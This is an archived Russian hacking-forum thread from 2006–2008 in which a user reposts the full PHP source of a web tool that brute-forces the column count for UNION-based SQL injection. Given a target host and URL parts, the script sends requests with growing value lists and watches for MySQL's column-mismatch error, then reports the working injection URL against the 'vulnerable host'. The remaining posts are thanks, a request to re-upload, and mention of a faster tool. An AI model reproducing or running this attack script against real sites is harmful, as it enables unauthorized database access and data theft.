PDA

Просмотр полной версии : Брутер числа колонок MySQL


_Great_
07.11.2006, 17:06
Subj =)

http://cribble.by.ru/w/sqlbruteru.php.txt

Вроде вполне удобный. Что скажете?
Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие

vectorg
07.11.2006, 17:08
гуд)
все пашет, автору спасибо)

з.ы. учтите на будущее: ошибки выделены тегами +))

..::TROYAN::..
21.09.2008, 14:07
Subj =)

http://cribble.by.ru/w/sqlbruteru.php.txt

Вроде вполне удобный. Что скажете?
Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие
можеш перезалить?)))

astrologer
21.09.2008, 14:56
можеш перезалить?)))
<?
function send_post_request($host, $file, $content, $cookies, $cookies_type=1)
{
$post =
"POST $file HTTP/1.0\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
"Referer: http://$host/\r\n".
"Accept-Language: ru\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Proxy-Connection: Keep-Alive\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
"Host: $host\r\n".
"Content-Length: ".strlen($content)."\r\n".
"Cookie: ";

foreach($cookies as $v)
{
if($cookies_type == 1)
$post .= "$k=>$v;";
else
$post .= "$v;";
}

$post .=
"\r\nPragma: no-cache\r\n\r\n".
$content;

// echo "<pre>$post</pre><p>";

$s=fsockopen($host,80);
fputs($s, $post);
$answer = "";
while(!feof($s)) $answer .= fgets($s);
fclose($s);

return $answer;
}

function send_get_request($host, $file, $cookies, $cookies_type=1)
{
$post =
"GET $file HTTP/1.0\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
"Referer: http://$host/\r\n".
"Accept-Language: ru\r\n".
"Proxy-Connection: Keep-Alive\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
"Host: $host\r\n".
"Cookie: ";

foreach($cookies as $v)
{
if($cookies_type == 1)
$post .= "$k=>$v;";
else
$post .= "$v;";
}

$post .=
"\r\nPragma: no-cache\r\n\r\n";

// echo "<pre>$post</pre><p>";

$s=fsockopen($host,80);
fputs($s, $post);
$answer = "";
while(!feof($s)) $answer .= fgets($s);
fclose($s);

return $answer;
}

function construct_post_request($host, $file, $content_array, $cookies, $cookies_type=1)
{
$content = "";
foreach($content_array as $k=>$v)
$content .= "$k=".urlencode($v)."&";
return send_post_request($host, $file, $content, $cookies, $cookies_type);
}

$def = "The used SELECT statements have a different number of columns";
$_POST['left'] = stripslashes($_POST['left']);

echo ("<html>
<head>
<title>Брутфорсер числа колонок MySQL таблиц</title>
".
/*"<style type='text/css'>
td {border: 1px solid;}
</style>".*/
"</head>
<body bgcolor='lightgray' alink='blue' link='blue' vlink='blue'>
<h3 align='center'>Брутфорсер числа колонок MySQL таблиц</h3>
<form method='post'>

<table "./*"style='border: 1px solid' ".*/ "border=1 cellpadding=5>
<tr><td>
Запрос:
<td>
<b>http://
<input type='text' name='host' size=20 value=\"".htmlspecialchars($_POST['host'])."\">
<input type='text' name='left' size=80 value=\"".htmlspecialchars($_POST['left'])."\">
0,0,0,...,0
<input type='text' name='right' size=20 value=\"".htmlspecialchars($_POST['right'])."\">
</b>

<tr><td>Строка:
<td><input type='text' name='match' size=100 value=\"{$_POST['match']}\">
<a href='javascript:void(0);' onClick='document.forms[0].match.value=\"$def\";'>
<br>Установить стандартную</a>&nbsp;&nbsp;[<b>".htmlspecialchars($def)."</b>]

<tr><td>
Опции:
<td>
<input type='checkbox' name='fillints'".( ($_POST['fillints'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].fillints.checked=!document.forms[0].fillints.checked;' style='text-decoration: none; color: black'>Заполнить целыми числами, а не нулями</a> (по умолчанию заполняется нулями)<br>
<input type='checkbox' name='stoponfind'".( ($_POST['stoponfind'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].stoponfind.checked=!document.forms[0].stoponfind.checked;' style='text-decoration: none; color: black'>Остановиться, когда найдена искомая строка (вместо того, чтобы остановиться, когда она не найдена)</a><br>

<tr><td>
<input type='submit' name='go' value='Брутфорс'>
<td align='center'>&nbsp;Coded by <b>Great</b> (ICQ# <b>893-894</b>) &copy; 2006
</table>
</form>
<p>");

if(!isset($_POST['go']))
die("</body></html>");

if(empty($left) || empty($host) || empty($match))
die("<font color='red'><b>Нужно заполнить все поля!</b></font></body></html>");

$left = $_POST['left'];
$right = $_POST['right'];
$host = $_POST['host'];
$match = $_POST['match'];
$ints = $_POST['fillints']=="on";
$invert = $_POST['stoponfind']=="on";

echo "<h4>Начинаем...</h4>
Левая часть: <b>".htmlspecialchars($left)."</b><br>
Правая часть: <b>".htmlspecialchars($right)."</b><br>
Уязвимый хост: <b>".htmlspecialchars($host)."</b><br>
Полный запрос: <b>http://".htmlspecialchars("{$host}{$left} <0,0,...,0> {$right}")."</b><br>
Искомая строка: <b>".htmlspecialchars($match)."</b><br>
<b>".( ($ints==true)?
"<font color='brown'>Заполняем целыми (1,2,3,...)</font>"
:"<font color='gray'>Заполняем нулями (0,0,0,...)</font>" )
."</b><br>
<br>\n";
set_time_limit(0);

if(@gethostbyname($host)==$host)
die("<font color='red'><b>Хост \"".htmlspecialchars($host)."\" не найден</b></font></body></html>");

for($i=1;$i<100;$i++)
{
// echo "Trying $i...<br>\n";
echo "$i... ";
flush();

if(!$ints)
$nulls = "0";
else
$nulls = 1;

for($k=1;$k<$i;$k++)
{
if(!$ints)
$nulls .= ",0";
else
$nulls .= ",".($k+1);
}
$r = send_get_request($host, $left.$nulls.$right, array(), 1);

if(!$invert)
$okay = strstr($r, $match)===false;
else
$okay = strstr($r, $match)!==false;

if($okay)
{
$ok = htmlspecialchars("http://$host".$left.$nulls.$right);
$d = htmlspecialchars("http://$host".$left)."<b>".$nulls."</b>".htmlspecialchars($right);
echo "<p><font color='green'><b>Успешно:</b> (".( ($invert)?"Строка найдена":"Строка не найдена" ).")</font><br><a href=\"$ok\" style='text-decoration: none' target='_blank'>$d</a>";
echo "<br>".($i)." колонок";
break;
}
// echo $r;
// break;
}
?>
</body></html>

..::TROYAN::..
21.09.2008, 15:00
astrologer,
пасиб=)

-=Static=-
21.09.2008, 15:03
гммм....а зачем он? Есть же SQL Tools 4 он в разы быстрее робит.

luz3r
29.09.2008, 17:23
гммм....а зачем он? Есть же SQL Tools 4 он в разы быстрее робит.
ты дату видел? тогда ещё SQL Tools 4 небыло =\